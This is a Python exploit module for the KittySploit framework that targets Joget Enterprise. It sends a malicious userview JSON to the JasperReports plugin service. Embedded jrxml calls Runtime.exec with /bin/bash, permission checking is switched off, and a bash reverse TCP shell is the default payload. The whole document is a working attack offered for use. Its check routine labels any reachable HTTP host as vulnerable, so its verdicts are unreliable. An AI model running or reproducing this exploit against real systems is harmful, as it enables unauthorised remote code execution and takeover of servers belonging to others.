Joget JasperReports jrxml expression injection RCE

"""Joget Enterprise JasperReports jrxml expression injection RCE."""
from __future__ import annotations
import json
import re
from urllib.parse import urlencode
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Joget JasperReports jrxml expression injection RCE', 'description': 'POST plugin service with malicious userview JSON embeds jrxml Runtime.exec in JasperReportsMenu report compilation.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['joget', 'rce', 'jasper'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/joget_jrxml_expr_rce_detect']}}}
    _PLUGIN = 'org.joget.plugin.enterprise.JasperReportsMenu'
    port = OptPort(8080, 'Joget HTTP port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    app_id = OptString('crm', 'Joget app id', required=True)
    app_version = OptString('1', 'Joget app version', required=True)

    def _jrxml(self, cmd: str) -> str:
        safe = cmd.replace('\\', '\\\\').replace('"', '\\"')
        return f'<?xml version="1.0" encoding="UTF-8"?><jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" name="x" pageWidth="595" pageHeight="842" columnWidth="555" leftMargin="20" rightMargin="20" topMargin="20" bottomMargin="20"><queryString><![CDATA[SELECT 1]]></queryString><title><band height="50"><textField><reportElement x="0" y="0" width="200" height="20"/><textFieldExpression class="java.lang.String"><![CDATA[$P{{REPORT_PARAMETERS_MAP}}.put("x", Runtime.getRuntime().exec(new String[]{{"/bin/bash","-c","{safe}"}}))]]></textFieldExpression></textField></band></title></jasperReport>'

    def _userview(self, cmd: str) -> dict:
        jrxml = self._jrxml(cmd)
        return {'className': 'org.joget.apps.userview.model.Userview', 'properties': {'id': 'exploit_uv', 'label': 'x'}, 'setting': {'properties': {'tempDisablePermissionChecking': 'true', 'theme': {'className': 'org.joget.apps.userview.lib.DefaultTheme', 'properties': {'css': '', 'js': ''}}}}, 'categories': [{'className': 'org.joget.apps.userview.model.UserviewCategory', 'properties': {'id': 'cat1', 'label': 'x'}, 'menus': [{'className': self._PLUGIN, 'properties': {'id': 'exploit_menu', 'customId': 'exploit_menu', 'label': 'x', 'jrxml': jrxml}}]}]}

    def execute(self, cmd: str) -> str:
        app_id = str(self.app_id or 'crm')
        app_ver = str(self.app_version or '1')
        path = f'/jw/web/json/app/{app_id}/{app_ver}/plugin/{self._PLUGIN}/service?action=report&appId={app_id}&appVersion={app_ver}&menuId=exploit_menu'
        body = urlencode({'json': json.dumps(self._userview(cmd))})
        resp = self.http_request('POST', path, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded', 'Referer': '/jw/web/'})
        if not resp:
            return 'request failed'
        return f"HTTP {resp.status_code} len={len(resp.content or b'')}\n{(resp.text or '')[:2000]}"

    def check(self):
        resp = self.http_request('GET', '/jw/web/')
        body = (resp.text or '').lower() if resp else ''
        if 'joget' in body:
            return {'vulnerable': True, 'reason': 'Joget web UI detected', 'confidence': 'medium'}
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'HTTP reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Joget not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Posting malicious Jasper userview JSON')
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
        return True if blind else True